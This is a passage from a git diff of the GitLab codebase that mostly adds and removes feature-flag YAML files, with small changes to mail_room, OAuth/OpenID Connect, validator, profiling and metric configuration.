-milestone: '15.1'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/phabricator_import.yml b/config/feature_flags/development/phabricator_import.yml
deleted file mode 100644
index 5340caef140..00000000000
--- a/config/feature_flags/development/phabricator_import.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: phabricator_import
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13569
-rollout_issue_url: https://gitlab.com/groups/gitlab-org/-/epics/1197
-milestone: '12.0'
-type: development
-group: group::import
-default_enabled: true
diff --git a/config/feature_flags/development/pipeline_name.yml b/config/feature_flags/development/pipeline_name.yml
deleted file mode 100644
index 9070e754fff..00000000000
--- a/config/feature_flags/development/pipeline_name.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pipeline_name
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/97502
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/376095
-milestone: '15.5'
-type: development
-group: group::delivery
-default_enabled: true
diff --git a/config/feature_flags/development/prevent_outdated_deployment_jobs.yml b/config/feature_flags/development/prevent_outdated_deployment_jobs.yml
deleted file mode 100644
index 5b92874dfd7..00000000000
--- a/config/feature_flags/development/prevent_outdated_deployment_jobs.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: prevent_outdated_deployment_jobs
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/97171
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/370628
-milestone: '15.4'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/project_members_index_by_project_namespace.yml b/config/feature_flags/development/project_members_index_by_project_namespace.yml
new file mode 100644
index 00000000000..17a532a5a59
--- /dev/null
+++ b/config/feature_flags/development/project_members_index_by_project_namespace.yml
@@ -0,0 +1,8 @@
+---
+name: project_members_index_by_project_namespace
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105781
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/384521
+milestone: '15.7'
+type: development
+group: group::workspace
+default_enabled: false
diff --git a/config/feature_flags/development/project_runners_vue_ui.yml b/config/feature_flags/development/project_runners_vue_ui.yml
new file mode 100644
index 00000000000..a628b1a4ac3
--- /dev/null
+++ b/config/feature_flags/development/project_runners_vue_ui.yml
@@ -0,0 +1,8 @@
+---
+name: project_runners_vue_ui
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107646
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386573
+milestone: '15.8'
+type: development
+group: group::runner
+default_enabled: false
diff --git a/config/feature_flags/development/project_statistics_bulk_increment.yml b/config/feature_flags/development/project_statistics_bulk_increment.yml
new file mode 100644
index 00000000000..6e8b9083a4d
--- /dev/null
+++ b/config/feature_flags/development/project_statistics_bulk_increment.yml
@@ -0,0 +1,8 @@
+---
+name: project_statistics_bulk_increment
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103879
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385845
+milestone: '15.7'
+type: development
+group: group::pipeline insights
+default_enabled: false
diff --git a/config/feature_flags/development/rate_limit_gitlab_shell.yml b/config/feature_flags/development/rate_limit_gitlab_shell.yml
deleted file mode 100644
index 3c29a71af6e..00000000000
--- a/config/feature_flags/development/rate_limit_gitlab_shell.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: rate_limit_gitlab_shell
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78373
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/350465
-milestone: '14.7'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/rate_limit_gitlab_shell_by_ip.yml b/config/feature_flags/development/rate_limit_gitlab_shell_by_ip.yml
deleted file mode 100644
index 667c0db7ee0..00000000000
--- a/config/feature_flags/development/rate_limit_gitlab_shell_by_ip.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: rate_limit_gitlab_shell_by_ip
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91599
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/367998
-milestone: '15.3'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/rate_limit_issuable_searches.yml b/config/feature_flags/development/rate_limit_issuable_searches.yml
new file mode 100644
index 00000000000..9a4909da72e
--- /dev/null
+++ b/config/feature_flags/development/rate_limit_issuable_searches.yml
@@ -0,0 +1,8 @@
+---
+name: rate_limit_issuable_searches
+introduced_by_url: "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104208"
+rollout_issue_url:
+milestone: '15.8'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/readme_from_gitaly.yml b/config/feature_flags/development/readme_from_gitaly.yml
new file mode 100644
index 00000000000..6e440e928f1
--- /dev/null
+++ b/config/feature_flags/development/readme_from_gitaly.yml
@@ -0,0 +1,8 @@
+---
+name: readme_from_gitaly
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108609
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387703
+milestone: '15.8'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/remove_job_token_on_completion.yml b/config/feature_flags/development/remove_job_token_on_completion.yml
new file mode 100644
index 00000000000..4ab5ffc27ee
--- /dev/null
+++ b/config/feature_flags/development/remove_job_token_on_completion.yml
@@ -0,0 +1,8 @@
+---
+name: remove_job_token_on_completion
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108021
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386871
+milestone: '15.8'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/repository_archive_hotlinking_interception.yml b/config/feature_flags/development/repository_archive_hotlinking_interception.yml
deleted file mode 100644
index dbdde4993f8..00000000000
--- a/config/feature_flags/development/repository_archive_hotlinking_interception.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: repository_archive_hotlinking_interception
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/50c11f278d18fe1f3fb12eb595067216bb58ade2
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/369433
-milestone: '12.10'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/reset_merge_error_on_transition.yml b/config/feature_flags/development/reset_merge_error_on_transition.yml
new file mode 100644
index 00000000000..bb0b25d1666
--- /dev/null
+++ b/config/feature_flags/development/reset_merge_error_on_transition.yml
@@ -0,0 +1,8 @@
+---
+name: reset_merge_error_on_transition
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106942
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385859
+milestone: '15.8'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/schema_linting.yml b/config/feature_flags/development/schema_linting.yml
deleted file mode 100644
index 0abca3e03dc..00000000000
--- a/config/feature_flags/development/schema_linting.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: schema_linting
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35838
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255919
-milestone: '13.2'
-type: development
-group: group::editor
-default_enabled: true
diff --git a/config/feature_flags/development/sec_mark_dropped_findings_as_resolved_scheduler.yml b/config/feature_flags/development/sec_mark_dropped_findings_as_resolved_scheduler.yml
new file mode 100644
index 00000000000..1f26ffb28ae
--- /dev/null
+++ b/config/feature_flags/development/sec_mark_dropped_findings_as_resolved_scheduler.yml
@@ -0,0 +1,8 @@
+---
+name: sec_mark_dropped_findings_as_resolved_scheduler
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108486
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387577
+milestone: '15.8'
+type: development
+group: group::static analysis
+default_enabled: false
diff --git a/config/feature_flags/development/service_desk_new_note_email_native_attachments.yml b/config/feature_flags/development/service_desk_new_note_email_native_attachments.yml
new file mode 100644
index 00000000000..2299b33db84
--- /dev/null
+++ b/config/feature_flags/development/service_desk_new_note_email_native_attachments.yml
@@ -0,0 +1,8 @@
+---
+name: service_desk_new_note_email_native_attachments
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107887
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386860
+milestone: '15.8'
+type: development
+group: group::respond
+default_enabled: false
diff --git a/config/feature_flags/development/skip_notes_diff_include.yml b/config/feature_flags/development/skip_notes_diff_include.yml
new file mode 100644
index 00000000000..886b1d47e81
--- /dev/null
+++ b/config/feature_flags/development/skip_notes_diff_include.yml
@@ -0,0 +1,8 @@
+---
+name: skip_notes_diff_include
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108893
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/388081
+milestone: '15.8'
+type: development
+group: group::product planning
+default_enabled: false
diff --git a/config/feature_flags/development/ssh_commit_signatures.yml b/config/feature_flags/development/ssh_commit_signatures.yml
deleted file mode 100644
index a056ba1a2ba..00000000000
--- a/config/feature_flags/development/ssh_commit_signatures.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ssh_commit_signatures
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/97248
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/350301
-milestone: '15.7'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/support_group_level_merge_checks_setting.yml b/config/feature_flags/development/support_group_level_merge_checks_setting.yml
new file mode 100644
index 00000000000..66cb9830261
--- /dev/null
+++ b/config/feature_flags/development/support_group_level_merge_checks_setting.yml
@@ -0,0 +1,8 @@
+---
+name: support_group_level_merge_checks_setting
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102864
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/377723
+milestone: '15.8'
+type: development
+group: group::compliance
+default_enabled: false
diff --git a/config/feature_flags/development/track_and_raise_delete_source_errors.yml b/config/feature_flags/development/track_and_raise_delete_source_errors.yml
deleted file mode 100644
index 5f34ab47f19..00000000000
--- a/config/feature_flags/development/track_and_raise_delete_source_errors.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: track_and_raise_delete_source_errors
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103842
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/382440
-milestone: '15.6'
-type: development
-group: group::code review
-default_enabled: false
diff --git a/config/feature_flags/development/update_oauth_registration_flow.yml b/config/feature_flags/development/update_oauth_registration_flow.yml
deleted file mode 100644
index 7b066ebf9ab..00000000000
--- a/config/feature_flags/development/update_oauth_registration_flow.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: update_oauth_registration_flow
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85871
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/364342
-milestone: '15.2'
-type: development
-group: group::acquisition
-default_enabled: false
diff --git a/config/feature_flags/development/update_vuln_identifiers_flag.yml b/config/feature_flags/development/update_vuln_identifiers_flag.yml
deleted file mode 100644
index 3e0e7f4fa41..00000000000
--- a/config/feature_flags/development/update_vuln_identifiers_flag.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: update_vuln_identifiers_flag
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/82538
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/362179
-milestone: '15.1'
-type: development
-group: group::static analysis
-default_enabled: true
diff --git a/config/feature_flags/development/use_api_for_payment_validation.yml b/config/feature_flags/development/use_api_for_payment_validation.yml
deleted file mode 100644
index f57df08a2b0..00000000000
--- a/config/feature_flags/development/use_api_for_payment_validation.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_api_for_payment_validation
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84292
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/357282
-milestone: '14.10'
-type: development
-group: group::purchase
-default_enabled: false
diff --git a/config/feature_flags/development/use_primary_and_secondary_stores_for_repository_cache.yml b/config/feature_flags/development/use_primary_and_secondary_stores_for_repository_cache.yml
new file mode 100644
index 00000000000..07fbc77c960
--- /dev/null
+++ b/config/feature_flags/development/use_primary_and_secondary_stores_for_repository_cache.yml
@@ -0,0 +1,8 @@
+---
+name: use_primary_and_secondary_stores_for_repository_cache
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107232#note_1216317991
+rollout_issue_url:
+milestone: '15.7'
+type: development
+group: group::scalability
+default_enabled: false
diff --git a/config/feature_flags/development/use_primary_store_as_default_for_repository_cache.yml b/config/feature_flags/development/use_primary_store_as_default_for_repository_cache.yml
new file mode 100644
index 00000000000..adf48021597
--- /dev/null
+++ b/config/feature_flags/development/use_primary_store_as_default_for_repository_cache.yml
@@ -0,0 +1,8 @@
+---
+name: use_primary_store_as_default_for_repository_cache
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107232#note_1216317991
+rollout_issue_url:
+milestone: '15.7'
+type: development
+group: group::scalability
+default_enabled: false
diff --git a/config/feature_flags/development/validate_release_with_author.yml b/config/feature_flags/development/validate_release_with_author.yml
index 45102103183..bac23edfa89 100644
--- a/config/feature_flags/development/validate_release_with_author.yml
+++ b/config/feature_flags/development/validate_release_with_author.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/365350
milestone: '15.1'
type: development
group: group::release
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/vue_broadcast_messages.yml b/config/feature_flags/development/vue_broadcast_messages.yml
deleted file mode 100644
index bc9425e93ba..00000000000
--- a/config/feature_flags/development/vue_broadcast_messages.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: vue_broadcast_messages
-introduced_by_url: "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98127"
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/368847
-milestone: '15.4'
-type: development
-group: group::optimize
-default_enabled: false
diff --git a/config/feature_flags/development/vue_group_select.yml b/config/feature_flags/development/vue_group_select.yml
deleted file mode 100644
index d31f57a3eb9..00000000000
--- a/config/feature_flags/development/vue_group_select.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: vue_group_select
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98597
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/381042
-milestone: '15.6'
-type: development
-group: group::foundations
-default_enabled: false
diff --git a/config/feature_flags/development/your_work_sidebar.yml b/config/feature_flags/development/your_work_sidebar.yml
new file mode 100644
index 00000000000..b24af6e1ff4
--- /dev/null
+++ b/config/feature_flags/development/your_work_sidebar.yml
@@ -0,0 +1,8 @@
+---
+name: your_work_sidebar
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107345
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385855
+milestone: '15.8'
+type: development
+group: group::foundations
+default_enabled: false
diff --git a/config/feature_flags/experiment/show_pages_in_deployments_menu.yml b/config/feature_flags/experiment/show_pages_in_deployments_menu.yml
new file mode 100644
index 00000000000..e72e5fd3af9
--- /dev/null
+++ b/config/feature_flags/experiment/show_pages_in_deployments_menu.yml
@@ -0,0 +1,8 @@
+---
+name: show_pages_in_deployments_menu
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/97783
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/373561
+milestone: '15.4'
+type: experiment
+group: group::incubation
+default_enabled: false
diff --git a/config/feature_flags/experiment/tier_badge.yml b/config/feature_flags/experiment/tier_badge.yml
new file mode 100644
index 00000000000..be14d299bfb
--- /dev/null
+++ b/config/feature_flags/experiment/tier_badge.yml
@@ -0,0 +1,8 @@
+---
+name: tier_badge
+introduced_by_url: "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101575"
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/378454
+milestone: '15.8'
+type: experiment
+group: group::acquisition
+default_enabled: false
diff --git a/config/feature_flags/ops/projects_build_artifacts_size_refresh_high.yml b/config/feature_flags/ops/projects_build_artifacts_size_refresh_high.yml
new file mode 100644
index 00000000000..d16ee72ab71
--- /dev/null
+++ b/config/feature_flags/ops/projects_build_artifacts_size_refresh_high.yml
@@ -0,0 +1,8 @@
+---
+name: projects_build_artifacts_size_refresh_high
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84701
+rollout_issue_url:
+milestone: '15.8'
+type: ops
+group: group::pipeline insights
+default_enabled: false
diff --git a/config/feature_flags/ops/projects_build_artifacts_size_refresh_medium.yml b/config/feature_flags/ops/projects_build_artifacts_size_refresh_medium.yml
new file mode 100644
index 00000000000..73bfd16ec94
--- /dev/null
+++ b/config/feature_flags/ops/projects_build_artifacts_size_refresh_medium.yml
@@ -0,0 +1,8 @@
+---
+name: projects_build_artifacts_size_refresh_medium
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84701
+rollout_issue_url:
+milestone: '15.8'
+type: ops
+group: group::pipeline insights
+default_enabled: false
diff --git a/config/feature_flags/ops/suggested_reviewers_internal_api.yml b/config/feature_flags/ops/suggested_reviewers_internal_api.yml
new file mode 100644
index 00000000000..44e197307a5
--- /dev/null
+++ b/config/feature_flags/ops/suggested_reviewers_internal_api.yml
@@ -0,0 +1,8 @@
+---
+name: suggested_reviewers_internal_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106648
+rollout_issue_url:
+milestone: '15.7'
+type: ops
+group: group::ai assisted
+default_enabled: true
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index f67099fbdf0..340864d2dfa 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -236,7 +236,12 @@ production: &base
#
# log_path: log/mail_room_json.log
+ # If you are using Microsoft Graph instead of IMAP, set this to false to retain
+ # messages in the inbox since deleted messages are auto-expunged after some time.
+ delete_after_delivery: true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+ # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
expunge_deleted: false
# For Microsoft Graph support
@@ -1266,6 +1271,11 @@ production: &base
# The URL to the Kubernetes API proxy (used by GitLab users)
# external_k8s_proxy_url: https://localhost:8154 # default: nil
+ suggested_reviewers:
+ # File that contains the secret key for verifying access to GitLab internal API for Suggested Reviewers.
+ # Default is '.gitlab_suggested_reviewers_secret' relative to Rails.root (i.e. root of the GitLab app).
+ # secret_file: /home/git/gitlab/.gitlab_suggested_reviewers_secret
+
## GitLab Elasticsearch settings
elasticsearch:
indexer_path: /home/git/gitlab-elasticsearch-indexer/
diff --git a/config/gitlab_loose_foreign_keys.yml b/config/gitlab_loose_foreign_keys.yml
index 5212ffbfd6b..3651e7f6c29 100644
--- a/config/gitlab_loose_foreign_keys.yml
+++ b/config/gitlab_loose_foreign_keys.yml
@@ -114,6 +114,10 @@ ci_runner_projects:
- table: projects
column: project_id
on_delete: async_delete
+ci_runners:
+ - table: users
+ column: creator_id
+ on_delete: async_nullify
ci_running_builds:
- table: projects
column: project_id
diff --git a/config/initializers/0_marginalia.rb b/config/initializers/0_marginalia.rb
index c776747939f..e0e68ce7248 100644
--- a/config/initializers/0_marginalia.rb
+++ b/config/initializers/0_marginalia.rb
@@ -24,7 +24,12 @@ if Gitlab.dev_or_test_env?
Marginalia::Comment.components << :line
Marginalia::Comment.lines_to_ignore = Regexp.union(
Gitlab::BacktraceCleaner::IGNORE_BACKTRACES + %w[
- lib/ruby/gems/ lib/gem_extensions/ lib/ruby/ lib/gitlab/marginalia/ gems/
+ lib/ruby/gems/
+ lib/gem_extensions/
+ lib/ruby/
+ lib/gitlab/marginalia/
+ gems/
+ lib/gitlab/database/load_balancing/connection_proxy.rb
])
end
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index aafca0e2f09..55c21744ad0 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -870,6 +870,14 @@ Settings.gitlab_kas['internal_url'] ||= 'grpc://localhost:8153'
# Settings.gitlab_kas['external_k8s_proxy_url'] ||= 'grpc://localhost:8154' # NOTE: Do not set a default until all distributions have been updated with a correct value
#
+# Suggested Reviewers
+#
+Gitlab.ee do
+ Settings['suggested_reviewers'] ||= Settingslogic.new({})
+ Settings.suggested_reviewers['secret_file'] ||= Rails.root.join('.gitlab_suggested_reviewers_secret')
+end
+
+#
# Repositories
#
Settings['repositories'] ||= Settingslogic.new({})
diff --git a/config/initializers/doorkeeper.rb b/config/initializers/doorkeeper.rb
index 918b2767c4d..d24c5431f53 100644
--- a/config/initializers/doorkeeper.rb
+++ b/config/initializers/doorkeeper.rb
@@ -121,3 +121,17 @@ Doorkeeper.configure do
# We might want to disable this in the future, see https://gitlab.com/gitlab-org/gitlab/-/issues/323615
skip_client_authentication_for_password_grant true
end
+
+module Doorkeeper
+ class AccessToken
+ # Doorkeeper OAuth Token refresh uses expires_in of refresh token for new token
+ # https://github.com/doorkeeper-gem/doorkeeper/pull/1366
+ # This override ensures that tokens with expires_in: nil do not create new
+ # tokens with expires_in: nil during refresh flow.
+ # Can be removed after https://gitlab.com/gitlab-org/gitlab/-/issues/386094 is
+ # closed
+ def expires_in
+ super || 2.hours
+ end
+ end
+end
diff --git a/config/initializers/doorkeeper_openid_connect.rb b/config/initializers/doorkeeper_openid_connect.rb
index b2cb1843fab..a3a2550811b 100644
--- a/config/initializers/doorkeeper_openid_connect.rb
+++ b/config/initializers/doorkeeper_openid_connect.rb
@@ -31,8 +31,9 @@ Doorkeeper::OpenidConnect.configure do
Digest::SHA256.hexdigest "#{user.id}-#{Rails.application.secrets.secret_key_base}"
end
- o.claim(:name) { |user| user.name }
- o.claim(:nickname) { |user| user.username }
+ o.claim(:name) { |user| user.name }
+ o.claim(:nickname) { |user| user.username }
+ o.claim(:preferred_username) { |user| user.username }
# Check whether the application has access to the email scope, and grant
# access to the user's primary email address if so, otherwise their
@@ -54,7 +55,7 @@ Doorkeeper::OpenidConnect.configure do
end
end
- o.claim(:website) { |user| user.full_website_url if user.website_url? }
+ o.claim(:website) { |user| user.full_website_url if user.website_url.present? }
o.claim(:profile) { |user| Gitlab::Routing.url_helpers.user_url user }
o.claim(:picture) { |user| user.avatar_url(only_path: false) }
o.claim(:groups) { |user| user.membership_groups.joins(:route).with_route.map(&:full_path) }
diff --git a/config/initializers/gitlab_suggested_reviewers_secret.rb b/config/initializers/gitlab_suggested_reviewers_secret.rb
new file mode 100644
index 00000000000..01c7299c414
--- /dev/null
+++ b/config/initializers/gitlab_suggested_reviewers_secret.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+return unless Gitlab.com? && Gitlab.ee?
+
+Gitlab::AppliedMl::SuggestedReviewers.ensure_secret!
diff --git a/config/initializers/grape_validators.rb b/config/initializers/grape_validators.rb
index 1492894e1fa..1eaceddf531 100644
--- a/config/initializers/grape_validators.rb
+++ b/config/initializers/grape_validators.rb
@@ -11,3 +11,6 @@ Grape::Validations.register_validator(:untrusted_regexp, ::API::Validations::Val
Grape::Validations.register_validator(:email_or_email_list, ::API::Validations::Validators::EmailOrEmailList)
Grape::Validations.register_validator(:iteration_id, ::API::Validations::Validators::IntegerOrCustomValue)
Grape::Validations.register_validator(:project_portable, ::API::Validations::Validators::ProjectPortable)
+Grape::Validations.register_validator(:destination_namespace_path, ::API::Validations::Validators::BulkImports::DestinationNamespacePath) # rubocop: disable Layout/LineLength
+Grape::Validations.register_validator(:destination_slug_path, ::API::Validations::Validators::BulkImports::DestinationSlugPath) # rubocop: disable Layout/LineLength
+Grape::Validations.register_validator(:source_full_path, ::API::Validations::Validators::BulkImports::SourceFullPath)
diff --git a/config/initializers/rspec_profiling.rb b/config/initializers/rspec_profiling.rb
index 2ab7bdade31..7cc2d6afb0f 100644
--- a/config/initializers/rspec_profiling.rb
+++ b/config/initializers/rspec_profiling.rb
@@ -6,7 +6,8 @@ module RspecProfilingExt
module Collectors
class CSVWithTimestamps < ::RspecProfiling::Collectors::CSV
TIMESTAMP_FIELDS = %w(created_at updated_at).freeze
- HEADERS = (::RspecProfiling::Collectors::CSV::HEADERS + TIMESTAMP_FIELDS).freeze
+ METADATA_FIELDS = %w(feature_category).freeze
+ HEADERS = (::RspecProfiling::Collectors::CSV::HEADERS + TIMESTAMP_FIELDS + METADATA_FIELDS).freeze
def insert(attributes)
output << HEADERS.map do |field|
@@ -40,9 +41,32 @@ module RspecProfilingExt
end
end
+ module Example
+ def feature_category
+ metadata[:feature_category]
+ end
+ end
+
module Run
def example_finished(*args)
- super
+ # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ collector.insert({
+ branch: vcs.branch,
+ commit_hash: vcs.sha,
+ date: vcs.time,
+ file: @current_example.file,
+ line_number: @current_example.line_number,
+ description: @current_example.description,
+ status: @current_example.status,
+ exception: @current_example.exception,
+ time: @current_example.time,
+ query_count: @current_example.query_count,
+ query_time: @current_example.query_time,
+ request_count: @current_example.request_count,
+ request_time: @current_example.request_time,
+ feature_category: @current_example.feature_category
+ })
+ # rubocop:enable Gitlab/ModuleWithInstanceVariables
rescue StandardError => err
return if @already_logged_example_finished_error # rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -59,6 +83,7 @@ RspecProfiling.configure do |config|
if ENV.key?('CI') || ENV.key?('RSPEC_PROFILING')
RspecProfiling::VCS::Git.prepend(RspecProfilingExt::Git)
RspecProfiling::Run.prepend(RspecProfilingExt::Run)
+ RspecProfiling::Example.prepend(RspecProfilingExt::Example)
config.collector = RspecProfilingExt::Collectors::CSVWithTimestamps
config.csv_path = -> do
prefix = "#{ENV['CI_JOB_NAME']}-".gsub(%r{[ /]}, '-') if ENV['CI_JOB_NAME']
diff --git a/config/initializers_before_autoloader/004_zeitwerk.rb b/config/initializers_before_autoloader/004_zeitwerk.rb
index cae6650db41..8b3cdf1a80c 100644
--- a/config/initializers_before_autoloader/004_zeitwerk.rb
+++ b/config/initializers_before_autoloader/004_zeitwerk.rb
@@ -64,6 +64,7 @@ Rails.autoloaders.each do |autoloader|
'svg' => 'SVG',
'function_uri' => 'FunctionURI',
'uuid' => 'UUID',
+ 'occurrence_uuid' => 'OccurrenceUUID',
'vulnerability_uuid' => 'VulnerabilityUUID',
'vs_code_extension_activity_unique_counter' => 'VSCodeExtensionActivityUniqueCounter'
)
diff --git a/config/locales/en.yml b/config/locales/en.yml
index 3c33cdac3f1..d5c7eecb068 100644
--- a/config/locales/en.yml
+++ b/config/locales/en.yml
@@ -32,8 +32,13 @@ en:
project_key: "Project name suffix"
user/user_detail:
job_title: 'Job title'
- user/user_detail:
bio: 'Bio'
+ linkedin: 'Linkedin'
+ twitter: 'Twitter'
+ skype: 'Skype'
+ location: 'Location'
+ organization: 'Organization'
+ website_url: 'Website url'
views:
pagination:
previous: "Prev"
diff --git a/config/mail_room.yml b/config/mail_room.yml
index 1e76f5e9875..b453ed8ce35 100644
--- a/config/mail_room.yml
+++ b/config/mail_room.yml
@@ -16,7 +16,7 @@
:name: <%= config[:mailbox].to_json %>
- :delete_after_delivery: true
+ :delete_after_delivery: <%= config.fetch(:delete_after_delivery, true).to_json %>
:expunge_deleted: <%= config[:expunge_deleted].to_json %>
<% if config[:inbox_method] %>
diff --git a/config/metrics/counts_28d/20210216175542_ci_builds.yml b/config/metrics/counts_28d/20210216175542_ci_builds.yml
index 454b02bd04d..31c41332fed 100644
--- a/config/metrics/counts_28d/20210216175542_ci_builds.yml
+++ b/config/metrics/counts_28d/20210216175542_ci_builds.yml
@@ -1,7 +1,7 @@
---
data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_builds
-description: Unique monthly builds in project
+description: Distinct users triggering jobs in a month
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
index 1de544315ab..506abce6ce5 100644
--- a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage_monthly.verify.ci_external_pipelines
-description: Total pipelines in external repositories in a month
+description: Distinct users triggering pipelines in external repositories in a month
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
index 94faa5b1833..7ae086fbdcb 100644
--- a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
@@ -1,7 +1,7 @@
---
data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_internal_pipelines
-description: Total pipelines in GitLab repositories in a month
+description: Distinct users triggering pipelines in internal repositories in a month
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
index 323606abd00..8a57e5989c4 100644
